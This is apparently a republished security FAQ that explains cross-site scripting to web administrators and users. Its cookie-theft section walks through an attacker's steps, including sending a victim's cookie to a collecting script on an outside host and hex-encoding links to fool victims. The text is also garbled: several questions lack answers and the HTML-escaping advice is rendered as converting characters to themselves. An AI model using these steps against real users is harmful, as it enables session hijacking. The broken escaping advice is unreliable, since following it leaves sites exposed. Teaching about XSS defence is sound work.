Websites today are more complex than ever, containing a lot of dynamic content making the experience for the user more enjoyable. Dynamic content is achieved with web applications that can deliver different output to a user depending on their settings and needs. Dynamic websites have a threat that static websites do not, called "Cross Site Scripting" (or XSS dubbed by other security professionals). Currently small informational tidbits about Cross Site Scripting holes exist but none really explains them to an average person or administrator. This FAQ was written to provide a better understanding of this emerging threat, and to give guidance on detection and prevention.
The information has been provided by CGISecurity.com.
"What is Cross Site Scripting?"
Cross-site scripting (also known as XSS) occurs when a web application gathers malicious data from a user. The data is usually gathered in the form of a hyperlink that contains malicious content within it. The user will most likely click on this link from another website, web board, email, or from an instant message. Usually the attacker will encode the malicious portion of the link to the site in HEX (or other encoding methods) so the request is less suspicious looking to the user when clicked on. After the data is collected by the web application, it creates an output page for the user containing the malicious data that was originally sent to it, but in a manner to make it appear as valid content from the website.
"What does XSS and CSS mean?"
Often people refer to Cross Site Scripting as CSS. There has been a lot of confusion with Cascading Style Sheets (CSS) and cross-site scripting. Some security people refer to Cross Site Scripting as XSS. If you hear someone say, "I found a XSS hole", they are talking about Cross Site Scripting.
"What are the threats of Cross Site Scripting?"
"What are some examples of cross site scripting attacks?"
One product with many XSS holes is the popular PHP program PHPNuke. This product is often targeted by attackers to probe for XSS holes because of its popularity. We have included a few links of advisories/reports that have been discovered and disclosed just from this product alone. The following collection should provide plenty of examples.
"Can you show me what XSS cookie theft looks like?"
Depending on the particular web application, some of the variables and positioning of the injections may need to be adjusted. Keep in mind the following is a simple example of an attacker's methodology.
Step 1: Targeting
Step 2: Testing
An example is attached below:
My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi
This means that it sends a request to the site that looks something of the sorts of:
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)
This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public script can be found at www.cgisecurity.com/articles/cookie-theft.log
Step 3: XSS Execution
Hand out your crafted URL or use email or other related software to help launch it. Make sure that if you provide the URL to the user (through email, aim, or other means) that you at least HEX encode it. The code is obviously suspicious looking but a bunch of hex characters may fool a few people.
In our examples, we only forward the user to cookie.cgi. An attacker with more time could do a few redirects and XSS combinations to steal the user's cookie, and return them to the website without noticing the cookie theft.
Step 4: What to do with this data
Once you have gotten the user to execute the XSS hole, the data is collected and sent to your CGI script. Now that you have the cookie, you can use a tool like Websleuth to see if account hijacking is possible.
This is only a FAQ, not a detailed paper on cookie theft and modification. A new paper released by David Endler of iDefense goes into more detail on some of the ways to automatically launch XSS holes. This paper can be found at http://www.idefense.com/XSS.html.
"What can I do to protect myself as a vendor?"
This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes to script output. Remember XSS holes can be damaging and costly to your business if abused. Often attackers will disclose these holes to the public, which can erode customer and public confidence in the security and privacy of your organization's site. Filtering < and > alone will not solve all cross site scripting attacks and it is suggested you also attempt to filter out ( and ) by translating them to ( and ), , and also # and & by translating them to # (#) and & (&).
"What can I do to protect myself as a user?"
"How common are XSS holes?"
Cross-site scripting holes are gaining popularity among hackers as easy holes to find in large websites. Websites from FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, ZDnet, Wired, and Newsbytes have all had one form or another of XSS bugs.
Every month roughly 10-25 XSS holes are found in commercial products and advisories are published explaining the threat.
"Does encryption protect me?"
Websites that use SSL (https) are in no way more protected than websites that are not encrypted. The web applications work the same way as before, except the attack is taking place in an encrypted connection. People often think that because they see the lock on their browser it means everything is secure. This just is not the case.
"Can XSS holes allow command execution?"
"What if I do not feel like fixing a CSS/XSS Hole?"
By not fixing an XSS hole this could allow possible user account compromise in portions of your site as they get added or updated. Cross Site Scripting has been found in various large sites recently and have been widely publicized. Left un-repaired, someone may discover it and publish a warning about your company. This may damage your company's reputation, depicting it as being lax on security matters. This of course also sends the message to your clients that you are not dealing with every problem that arises, which turns into a trust issue. If your client does not trust you, why would they wish to do business with you?